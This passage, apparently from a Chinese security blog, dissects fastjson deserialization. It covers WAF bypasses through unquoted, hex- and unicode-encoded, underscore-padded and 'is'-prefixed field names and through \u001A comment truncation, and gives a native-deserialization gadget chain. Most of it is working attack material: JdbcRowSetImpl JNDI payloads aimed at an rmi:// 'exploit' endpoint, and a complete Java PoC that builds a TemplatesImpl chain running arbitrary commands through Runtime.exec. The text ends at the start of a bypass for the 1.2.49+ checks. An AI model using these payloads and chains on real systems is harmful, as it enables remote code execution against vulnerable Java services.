// 情形二:✅单引号包裹的字段名 → 仅当开启 AllowSingleQuotes 时才允许
if (ch == '\'') {
if (!isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("syntax error");
}
return scanSymbol(symbolTable, '\'');
}

// 情形三:遇到对象右花括号 '}' → 本位置并无字段名;推进一字符并设置 token
if (ch == '}') {
next();
token = JSONToken.RBRACE;
return null;
}

// 情形四:遇到分隔逗号 ',' → 同样说明没有字段名(或上个键值对结束),返回 null
if (ch == ',') {
next();
token = JSONToken.COMMA;
return null;
}

// 情形五:到达输入末尾 → 返回 null,并将 token 置为 EOF
if (ch == EOI) {
token = JSONToken.EOF;
return null;
}

// 情形六:✅无引号字段名(非标准 JSON,但 fastjson 可选支持)
// 若未开启 AllowUnQuotedFieldNames,则此处属于语法错误
if (!isEnabled(Feature.AllowUnQuotedFieldNames)) {
throw new JSONException("syntax error");
}

// 读取“未加引号”的字段名,直到遇到分隔字符(如冒号、逗号、空白、右花括号等)
return scanSymbolUnQuoted(symbolTable);
}

下列 payload 中,字段名 dataSourceName 没有加引号,但依然合法 —— 这是因为 AllowUnQuotedFieldNames 默认是开启的:

1
2
3
4
5
{
'@type': "com.sun.rowset.JdbcRowSetImpl",
dataSourceName: 'rmi://127.0.0.1:1099/exploit',
"autoCommit": true
}

注意

  • 其中 AllowUnQuotedFieldNames 仅在解析字段名时生效,即只影响冒号左边的字段名,不会影响值(冒号右边)的解析。而字段值仍然需要引号(单、双引号均可),比如 "rmi://...",否则会被当作标识符解析,解析失败或不符合预期。

  • 对于特殊的字段例如 @type,不加引号会导致报错。这是因为 scanSymbolUnQuoted(...) 开头做了首字符校验:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
        public final static boolean[] firstIdentifierFlags       = new boolean[256];
    static {
    for (char c = 0; c < firstIdentifierFlags.length; ++c) {
    if (c >= 'A' && c <= 'Z') {
    firstIdentifierFlags[c] = true;
    } else if (c >= 'a' && c <= 'z') {
    firstIdentifierFlags[c] = true;
    } else if (c == '_' || c == '$') {
    firstIdentifierFlags[c] = true;
    }
    }
    }

    final boolean[] firstIdentifierFlags = IOUtils.firstIdentifierFlags;
    final char first = ch;
    final boolean firstFlag = ch >= firstIdentifierFlags.length || firstIdentifierFlags[first];
    if (!firstFlag) {
    throw new JSONException("illegal identifier : " + ch + info());
    }

    IOUtils.firstIdentifierFlags 里只把这些字符标记为可作为字段名首字符

    • 英文字母 A–Z / a–z
    • 下划线 _
    • 美元符号 $
      (以及 非 ASCII 字符,因 ch >= 256 会被视为 true

    @ 不在允许集合 里,所以当你写未加引号的 @type 时会直接抛出:

    1
    JSONException: illegal identifier : @

编码绕过

首先在 com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol,当中可以看见,如果遇到了 \u 或者 \x 会有解码操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
chLocal = next();                // 读取下一个字符到 chLocal,并推进全局游标 ch(next() 通常也会更新 ch)

// [...]
// 如果读到反斜杠,说明进入转义序列处理
if (chLocal == '\\') {
// [...]

chLocal = next(); // 读取反斜杠后的转义类型字符(如 'x' 或 'u')

switch (chLocal) {
// [... 其他 case 省略 ...]

case 'x': {
// 非标准 JSON 的十六进制转义:\xHH (fastjson 兼容,H 为 0-9A-Fa-f)
// 依次取两个十六进制字符
char x1 = ch = next(); // 读取高 4 位的十六进制字符,同时更新全局 ch
char x2 = ch = next(); // 读取低 4 位的十六进制字符,同时更新全局 ch

// digits[]:把 ASCII 字符映射到 0..15(非十六进制字符通常映射为 -1)
int x_val = digits[x1] * 16 + digits[x2]; // 合成一个 0..255 的数值
char x_char = (char) x_val; // 按 8 位字符写入(只覆盖到 0x00..0xFF)

// 维护滚动哈希:一般用于符号表(SymbolTable)进行字段名驻留/查找
hash = 31 * hash + (int) x_char;

// 追加到输出缓冲(构造中的字符串/字段名)
putChar(x_char);
break;
}

case 'u': {
// 标准 JSON 的 Unicode 转义:\uHHHH(4 个十六进制字符)
char c1 = chLocal = next();
char c2 = chLocal = next();
char c3 = chLocal = next();
char c4 = chLocal = next();

// 将 4 个十六进制字符解析为一个 0..0xFFFF 的码点值
int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);

// 同样更新滚动哈希
hash = 31 * hash + val;

// 以 16 位 char 写入(UTF-16 单元);若是代理项(surrogate),高低位需由上层组合
putChar((char) val);
break;
}

// [...]
}
}

因此我们可以通过编码绕过:

1
2
3
4
5
{
"\u0040\u0074\u0079\u0070\u0065": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c",
"\x64\x61\x74\x61\x53\x6f\x75\x72\x63\x65\x4e\x61\x6d\x65": "\u0072\u006d\u0069\u003a\u002f\u002f\u0031\u0032\u0037\u002e\u0030\u002e\u0030\u002e\u0031\u003a\u0031\u0030\u0039\u0039\u002f\u0065\u0078\u0070\u006c\u006f\u0069\u0074",
"\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074": true
}

对字段添加可忽略字符

下划线和减号

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField 解析字段的 key 的时候调用了 smartMatch,该函数会将字段内的 _- 替换为空。

1
2
3
4
5
6
7
8
9
10
11
12
13
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}

由于这里有 break,不支持两个一起混合使用,只能单一使用其中一个,随便加。

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"d_a_t_aSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}

1.2.36 版本及以后,smartMatch 改成了调用 com.alibaba.fastjson.util.TypeUtils#fnv1a_64_lower,该函数会忽略所有的 _-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static long fnv1a_64_lower(String key) {
long hashCode = 0xcbf29ce484222325L;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_' || ch == '-') {
continue;
}

if (ch >= 'A' && ch <= 'Z') {
ch = (char) (ch + 32);
}

hashCode ^= ch;
hashCode *= 0x100000001b3L;
}

return hashCode;
}

因此这里可以在键名添加任意数量的 _-

1
2
3
4
5
6
7
8
9
10
11
{
"aaa":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"bbb":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"d-a_t-a_SourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}
}

属性前添加 is

1.2.36 版本之后会忽略属性的前缀 is

1
2
3
4
5
6
// smartMatchHashArrayMapping
int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {
smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}

例如:

1
2
3
4
5
6
7
8
9
10
11
{
"aaa":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"bbb":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"isdataSourceName": "rmi://127.0.0.1:1099/exploit",
"isautoCommit": true
}
}

注释绕过

com.alibaba.fastjson.parser.JSONLexerBase#nextToken 函数在遇到注释的时候会调用 skipComment 跳过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 读取下一个“记号”(token)的入口(仅展示与注释相关的片段)。
* 典型流程:
* 1) 每次进入时把临时缓冲指针 sp 清零;
* 2) 记录当前位置 pos = bp(bp 为当前读取偏移);
* 3) 若当前字符 ch 是 '/',则认为遇到注释起始,调用 skipComment() 吃掉注释后继续循环;
* 4) 直到不再是注释或空白等,可由后续分支解析真正的 token。
*
* 变量约定(fastjson 词法器常见命名):
* - bp:buffer pointer,输入缓冲区当前索引;
* - pos:本次 token 起始位置(用于回溯/错误信息);
* - sp:string position,本次临时字符串缓存已写入的字符数;
* - ch:当前字符(通常由 next() 推进并更新);
* - next():推进 bp 并返回/更新下一个字符到 ch。
*/
public final void nextToken() {
sp = 0; // 重置当前 token 的临时写入计数

for (;;) {
pos = bp; // 记录当前起始位置(便于错误提示/回溯)

if (ch == '/') { // 以 '/' 开头,可能是注释
skipComment(); // 吃掉注释(支持 // 与 /* ... */)
continue; // 注释吃完后,继续尝试读取下一个有效字符
}
// [... 其他空白处理/类型码分派等逻辑 ...]
// 遇到非注释的有效字符时,本方法其余分支会去解析实际 token。
break; // 这里只示意:跳出或进入其他分支处理
}
}

并且跳过空白字符的时候也会调用 skipComment 跳过注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 跳过空白字符和注释。
* 该方法会不断检查并跳过空白字符(如空格、回车、换行、制表符、换页符、退格符)和单行注释(以“/”开头)。
* 如果遇到注释,则跳过整个注释,继续处理下一个字符。
* 当遇到非空白字符和非注释字符时,停止跳过,方法执行完毕。
*/
public final void skipWhitespace() {
for (;;) {
// 如果当前字符小于或等于 '/',则继续判断是否为空白字符或注释
if (ch <= '/') {
// 如果当前字符是空白字符(空格、回车、换行、制表符、换页符、退格符),则跳到下一个字符
if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
next(); // 调用 next() 方法获取下一个字符
continue; // 继续跳过空白字符
}
// 如果当前字符是 '/', 则是注释,跳过注释
else if (ch == '/') {
skipComment(); // 调用 skipComment() 方法跳过注释
continue; // 继续跳过注释
}
// 如果不是空白字符和注释,退出循环
else {
break;
}
}
// 如果当前字符大于 '/',说明遇到非空白字符或注释,退出循环
else {
break;
}
}
}

skipComment 中,判断注释结束时有一个特殊的标志 EOI(0x1A)。当 skipComment 遇到该字符时意味着注释结束,因此会立即返回。

注意

遇到 EOI 时这里不会再额外调用 next() 把它“吃掉”,而是直接返回,保留当前 ch == EOI 的状态;下一次由外层代码再调用 next(),指针才会继续往后走。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* 跳过注释。
* 支持两种形式:
* 1) 行注释:// ... \n
* 2) 块注释:/* ... *\/
*
* 细节:
* - next() 会推进指针并更新 ch。
* - EOI(End Of Input)表示输入结束(fastjson 中常量值为 0x1A,SUB),
* 一旦在注释内遇到 EOI,就直接返回(相当于“吃到尽头”或“提早结束”)。
*
* 风险提示(实现行为):
* - 行注释只以 '\n' 为结束标志,若是 Windows 风格 "\r\n",代码会在读到 '\n' 时结束;
* - 块注释必须读到 '*' 后紧跟 '/' 才视为结束;若中途遇到 EOI 会直接返回。
*/
protected void skipComment() {
next(); // 读取 '/' 之后的一个字符,决定注释类型

if (ch == '/') { // 形式:// 注释
for (;;) {
next(); // 逐字符前进直到行尾
if (ch == '\n') { // 行尾,吃掉换行并返回
next();
return;
} else if (ch == EOI) { // 输入结束(0x1A 等),直接返回
return;
}
}
} else if (ch == '*') { // 形式:/* 块注释 */
next(); // 进入块内容

for (; ch != EOI; ) { // 直到读到输入结束才跳出
if (ch == '*') { // 可能是结束符的前导 '*'
next(); // 看下一字符
if (ch == '/') { // 匹配到 "*/" 结束块注释
next(); // 吃掉 '/' 并把指针移到注释后的第一个字符
return;
} else {
continue; // 不是 '/',继续在注释体内前进
}
}
next(); // 普通注释内容,继续前进
}
} else {
// 既不是 // 也不是 /*,则不是合法注释起始
throw new JSONException("invalid comment");
}
}

skipComment 因为遇到 EOI 而立即返回后,如果是返回到 nextToken 函数,则由于 nextToken 的循环中没有针对 EOI 的分支,因此会进入 default 分支。这里 isEOF() 返回 false 因此进入 else 分支。而在 else 分支,由于 ch = EOI <= 31 因此会执行 next() 将当前字符吃掉然后跳出循环。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// (位于 nextToken() 的一个 switch 分支的 default: 情况)
// 说明:当前字符 ch 不属于其他已知分支(数字、引号、花括号、方括号等)时走到这里
default:
if (isEOF()) { // JLS:到达输入末尾?
// [...] // 典型实现里会设置 token = EOF / JSONToken.EOF 等并收尾
} else {
// 否则还没“彻底”到达末尾(或 ch 不是末尾语义)
if (ch <= 31 || ch == 127) { // 控制字符范围(0..31)或 DEL(127)
next(); // 将当前控制字符“吃掉”并前进一位
// 注意:EOI = 26(0x1A)属于 <=31,这里会被吃掉
break; // 跳出 switch,回到 for(;;) 进入下一轮判定
}

// 非法字符(既不是 EOF、也不是控制字符),报词法错误后跳过当前字符
lexError("illegal.char", String.valueOf((int) ch));
next(); // 前进一位,避免死循环
}

return; // 收尾返回(具体语义视外围结构而定)

这里 isEOF 实际上调用的是 com.alibaba.fastjson.parser.JSONScanner#isEOF,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 是否到达输入末尾(End Of File/Input)。
*
* 语义:
* 1) bp == len :指针已经等于输入长度 → 真正越界/读尽
* 2) ch == EOI 且 bp+1 == len:
* 当前字符是 EOI(0x1A) 且指针的“下一位”刚好是末尾,
* 这是 fastjson 的“尾端 EOI”判定(把 SUB 当作流结束哨兵)
*/
public boolean isEOF() {
return bp == len || ch == EOI && bp + 1 == len;
}

由于 ch == EOI 但是不满足 bp + 1 == len 即没有解析到 json 数据末尾,因此会返回 false

因此像下面这种写法,前面的注释是被 \u001A 截断,并且 \u001A 本身被忽略,而后面的 */ 由于前面 json 已经触发利用因此也不需要关心了。

1
2
3
4
5
"/*\u001A{\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"rmi://127.0.0.1:1099/exploit\",\n" +
" \"autoCommit\": true\n" +
"}*/";

而如果 WAF 使用这种下面形式删除注释快,那么会将 json 中的 \* ... *\ 形式的注释连带中间内容清空。因此经过这层过滤后在 WAF 的视角 json 是空数据,而实际进行反序列化的却是原数据,那么就可以绕过 WAF。

1
preg_replace("(/\*(.*?)\*/)", "", json);

如果是下面这种 payload 则会返回到 skipWhitespace 函数。

1
2
3
4
5
"{\n" +
" /*\u001A \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"rmi://127.0.0.1:1099/exploit\",\n" +
" \"autoCommit\": true\n" +
"}*/";

skipWhitespace 函数中,从 skipComment 返回时解析的字符是 EOI,不属于任何一个空白字符,因此紧接着又会从 skipWhitespace 函数返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void skipWhitespace() {
for (;;) {
if (ch <= '/') {
if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
next();
continue;
} else if (ch == '/') {
skipComment();
continue;
} else {
break;
}
} else {
break;
}
}
}

通常这会返回到 parseObject 函数,随后由于开启 AllowArbitraryCommas 会跳过任意数量的 ,;之后会对当前字符进行判断。显然此时当前字符是 EOI,因此会抛出 syntax error 错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}

// [...]

if (ch == EOI) {
throw new JSONException("syntax error");
}

FastJson 原生反序列化

FastJson 中继承 Serializable 接口的只有 JSONArrayJSONObject,因此我们只能针对这两个类寻找反序列化利用链。

Fastjson1

虽然 JSONArray 有实现这个 Serializable 接口但是它本身没有实现 readObject 方法的重载,并且继承的 JSON 类同样没有 readObject 方法,那么只有一个思路了,通过其他类的 readObject 做中转来触发 JSONArray 或者 JSON 类当中的某个方法最终实现反序列化利用。

我们想到,前面 BasicDataSource 利用链通过触发 JSONObject 对象的 toString 方法来触发序列化过程:

1
2
3
4
@Override
public String toString() {
return toJSONString();
}

这里 toString 方法继承于 JSONObject 的父类 JSON,而 JSONArray 同样继承于 JSON

因此我们只需要寻找一个能在反序列化过程中触发 JSONArray 类型的成员的 toString 方法的类,然后再通过 JSONArray 的序列化过程调用 TemplatesImpl#getOutputProperties 方法实现任意字节码加载就可以完成利用。

javax.management.BadAttributeValueExpException 在反序列化的时候会触发 val 属性的 toString 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/**
* 反序列化钩子:读取旧流中的持久化字段并恢复本对象的内部字段 {@code val}。
*
* <p>实现思路:
* 1) 使用 {@link ObjectInputStream#readFields()} 走“默认字段读取”路径,拿到持久化字段集;
* 2) 取出名为 "val" 的字段值(不存在则用 null);
* 3) 分类型做兼容与安全处理:
* - null → 直接赋 null;
* - String → 直接赋(最理想的情况);
* - 其它对象:
* * 若当前无 SecurityManager(多数现代 JDK 恒为 null),或该对象是包装类
* (Long/Integer/Float/Double/Byte/Short/Boolean),则调用 {@code toString()} 并赋值;
* * 否则(存在安全管理器 且 类型不在白名单):为避免在不受信类型上执行
* 覆盖的 {@code toString()},采用“身份字符串”降级:
* {@code System.identityHashCode(obj) + "@" + obj.getClass().getName()}。
*
* <p>背景:这是为兼容“修复 JDK-8019292 之前版本”序列化出来的流——老版本里 "val"
* 可能被写成了非 String 类型。为避免在不受信对象上调用自定义 {@code toString()} 带来
* 副作用/安全风险,在有 SecurityManager 的环境下仅允许对基础包装类型取 {@code toString()},
* 其余类型走“身份字符串”降级。
*/
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 1) 读取“默认持久化字段集”,这是 defaultReadObject 的字段级接口
ObjectInputStream.GetField gf = ois.readFields();

// 2) 读取名为 "val" 的字段(若旧版本流里没有该字段则返回默认值 null)
Object valObj = gf.get("val", null);

// 3) 兼容/安全处理分支
if (valObj == null) {
// 情况 A:没写该字段或明确为 null
val = null;

} else if (valObj instanceof String) {
// 情况 B:理想情况——旧流里就是 String,直接使用
val = (String) valObj;

} else if (System.getSecurityManager() == null
// 情况 C:无 SecurityManager(现代 JDK 通常如此,安全模型已移除/禁用)
// 或者 属于“安全的包装类型”——调用它们的 toString 风险可控
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 将非 String 的兼容值统一“字符串化”
val = valObj.toString();

} else {
// 情况 D:存在 SecurityManager 且类型不在白名单
// 说明:为避免在不受信类型上执行覆盖的 toString(可能触发任意代码/副作用),
// 这里采用“身份字符串”降级:不调用目标类方法,仅使用类名和 identityHashCode。
// 示例:12345678@com.example.UntrustedType
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

最终 poc 如下,该反序列化链在 1.2.49 版本之前可以成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class FastJson1 {
public static Object getObject(String cmd) throws Exception {
byte[] classByteCode = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classByteCode});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

JSONArray array = new JSONArray();
array.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", array);

return exception;
}

public static byte[] getPayload(String cmd) throws Exception {
Object object = getObject(cmd);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);

return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args)throws Exception {
byte [] payload = getPayload("calc");

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

/**
* 使用 Javassist 生成一个恶意类字节码:
* - 类名 EvilClass
* - 继承 AbstractTranslet(必须,否则不会被选为“主类”实例化)
* - 构造器里执行命令
*/
private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

// 创建类 EvilClass
CtClass ctClass = pool.makeClass("EvilClass");

// 构造器:一旦实例化,就会执行系统命令
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);

// 设置 class 文件版本,49 对应 Java 5,兼容性更好
ctClass.getClassFile().setMajorVersion(49);

// 设置父类为 AbstractTranslet(必须继承它才能被实例化)
CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

// 返回生成的字节码数组
return ctClass.toBytecode();
}

/**
* 通过反射修改对象的私有字段值
*/
private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true); // 绕过 private 限制
field.set(object, value); // 设置字段值
}
}

从 1.2.49 开始,JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法。

JSONArray#readObject 为例,该函数使用 com.alibaba.fastjson.JSONObject.SecureObjectInputStream 包装原始的 ObjectInputStream,然后再调用 SecureObjectInputStream#defaultReadObject 执行默认反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(final java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
// 1) 预检测/初始化:确认 SecureObjectInputStream 能否在当前环境正确工作
JSONObject.SecureObjectInputStream.ensureFields();

// 若“安全字段”可用且初始化未报错,走安全包装路径
if (JSONObject.SecureObjectInputStream.fields != null
&& !JSONObject.SecureObjectInputStream.fields_error) {

// 用“安全版 OIS”包装原始流:通常会重写 resolveClass/resolveProxyClass 等
// 在类型解析环节做白/黑名单检查,提前阻断危险类型
ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in);

// 在受限输入流上执行默认反序列化(只读本类声明的可持久化字段)
secIn.defaultReadObject();
return;
}

// 2) 回退路径:直接在原始流上做默认反序列化
in.defaultReadObject();

// 随后对关键容器中的元素逐个做 autoType 复核(补救式的运行时校验)
for (Object item : list) {
if (item != null) {
// 以实际运行时类名做 autoType 检查:
// - 命中黑名单或未启用/未匹配白名单将抛出 JSONException/安全异常
// - 第二个参数 expectClass 传 null,按全局配置判定
ParserConfig.global.checkAutoType(item.getClass().getName(), null);
}
}
}

SecureObjectInputStream 继承于 ObjectInputStream,并且重写了 resolveClassresolveProxyClass 两个负责加载类的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/**
* 将 JDK 反序列化的“类解析阶段”与 fastjson 的 autoType 校验打通:
* 在真正加载类(或生成代理类)之前,先用 ParserConfig 依据黑/白名单做拦截。
*
* 作用与时机:
* - ObjectInputStream 在读取到类描述符后,会调用 resolveClass / resolveProxyClass
* 去把“类名/接口名列表”解析为本地 Class;此处重写这两个钩子,可在“对象尚未创建”前阻断。
* - 若命中黑名单或未被允许,ParserConfig.global.checkAutoType(...) 会抛异常,
* 反序列化流程立即失败(上层通常表现为 InvalidClassException/JSONException 等)。
*
* 说明:
* - 这里传入 expectClass = null,按全局 ParserConfig 的策略进行校验(白/黑名单、开关等)。
* - super.resolveClass(desc) 的默认行为会使用“最近的用户类加载器”去加载类并校验 SUID;
* 若 SUID 不匹配,将在后续阶段抛 InvalidClassException。
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
// 先做 fastjson 的 autoType 校验(黑/白名单)
ParserConfig.global.checkAutoType(name, null);
// 再走 JDK 默认解析:按 latestUserDefinedLoader() 加载类,后续还会做 SUID 比对
return super.resolveClass(desc);
}

/**
* 代理类解析钩子:在生成动态代理类之前,对“参与的每个接口名”做 autoType 校验。
*
* 过程:
* 1) 逐个接口名 checkAutoType(...):
* - 任一接口不被允许 → 立即抛异常,阻断反序列化;
* 2) 交给 super.resolveProxyClass(interfaces):
* - 默认会用最新的用户类加载器加载这些接口;
* - 若存在非 public 接口,要求它们来自同一个 ClassLoader,并用该 Loader 定义代理类;
* 否则可能抛 IllegalAccessError;
* - 最终通过 Proxy.getProxyClass(loader, ifaces) 生成代理类 Class。
*/
@Override
protected Class<?> resolveProxyClass(String[] interfaces)
throws IOException, ClassNotFoundException {
for (String ifaceName : interfaces) {
// 对每个接口名执行 fastjson 的 autoType 校验
ParserConfig.global.checkAutoType(ifaceName, null);
}
// 交回给 JDK 默认逻辑:执行接口加载、可访问性检查、以及代理类生成
return super.resolveProxyClass(interfaces);
}

这两个函数分别会对类名以及代理类实现的接口名进行 FastJson 的 autoType 校验。因此我们构造的 JsonArray 中所有的属性以及属性的属性等对应的类在加载时都会经过 autoType 校验。

然而显然这个校验是可以绕过的。因为在 Java 反序列化的过程中,如果一个类不是 unshared,那么这个类一旦加载并实例化后,会被放在对象句柄表(handles)中。

例如对于普通对象,readNonProxyDesc 函数调用 resolveClass 根据 ObjectStreamClass 中的信息从本地加载类,然后通过 desc.initNonProxy 将加载的类放到了 ObjectStreamClass 中。而 ObjectStreamClass 存放在对象句柄表 handles 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// 2) 创建空的 OSC,并分配句柄(unshared 时登记特殊标记以禁止后续回引)
ObjectStreamClass desc = new ObjectStreamClass();
int descHandle = handles.assign(unshared ? unsharedMarker : desc);
// 在真正完成前,passHandle 暂置为空,避免“半成品”被使用
passHandle = NULL_HANDLE;

// 3) 读取“类描述符主体”(classDescBody)
// - 等价于写端的 writeClassDescriptor(desc)
// - 包括:类名、serialVersionUID、flags、字段表等
ObjectStreamClass readDesc = null;
try {
readDesc = readClassDescriptor();
} catch (ClassNotFoundException ex) {
// 读取“主体”阶段就需要加载某些类型签名,失败则包装为 InvalidClassException
throw (IOException) new InvalidClassException(
"failed to read class descriptor").initCause(ex);
}

// 4) 尝试把描述符解析为本地 Class,并做包访问校验
Class<?> cl = null;
ClassNotFoundException resolveEx = null;

// 切到块数据模式,准备读取/跳过“类注解块”(classAnnotations)
bin.setBlockDataMode(true);
final boolean checksRequired = isCustomSubclass(); // 自定义子类需做额外的包访问检查
try {
// resolveClass:把 readDesc 指向的类名解析为本地 Class(可被子类覆盖)
if ((cl = resolveClass(readDesc)) == null) {
resolveEx = new ClassNotFoundException("null class");
} else if (checksRequired) {
// 安全:自定义子类时校验包访问权限,避免越权加载敏感包
ReflectUtil.checkPackageAccess(cl);
}
} catch (ClassNotFoundException ex) {
resolveEx = ex; // 暂存,稍后绑定到描述符句柄
}

// [...]

// 6) 读取“父类描述符”,并初始化 OSC
try {
totalObjectRefs++; // 统计(供过滤器限额评估)
depth++; // 嵌套深度(控制回调/异常传播范围)
// initNonProxy:将“读取到的主体信息 + 解析到的 Class(或异常) +
// 父类描述符”组合进当前描述符
desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));
} finally {
depth--;
}

// 7) 标记该描述符构建完成,允许后续通过句柄回引;设置 passHandle 并返回
handles.finish(descHandle);
passHandle = descHandle;

而后续相同的对象在序列化数据中是以“对象句柄引用”的形式存在,因此在反序列化的时候走的是 readHandle 逻辑直接根据句柄值从 handles 中取对象并返回,因此不会调用到 resolveClassresolveProxyClass 函数加载类。

1
2
// 查出该句柄所对应的对象
Object obj = handles.lookupObject(passHandle);

因此我们可以向 ListSetMap 等类型的容器中分别添加 TemplatesImpl 和前面构造的 JsonArray,确保 JsonArray 中的 TemplatesImpl 是对象引用即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
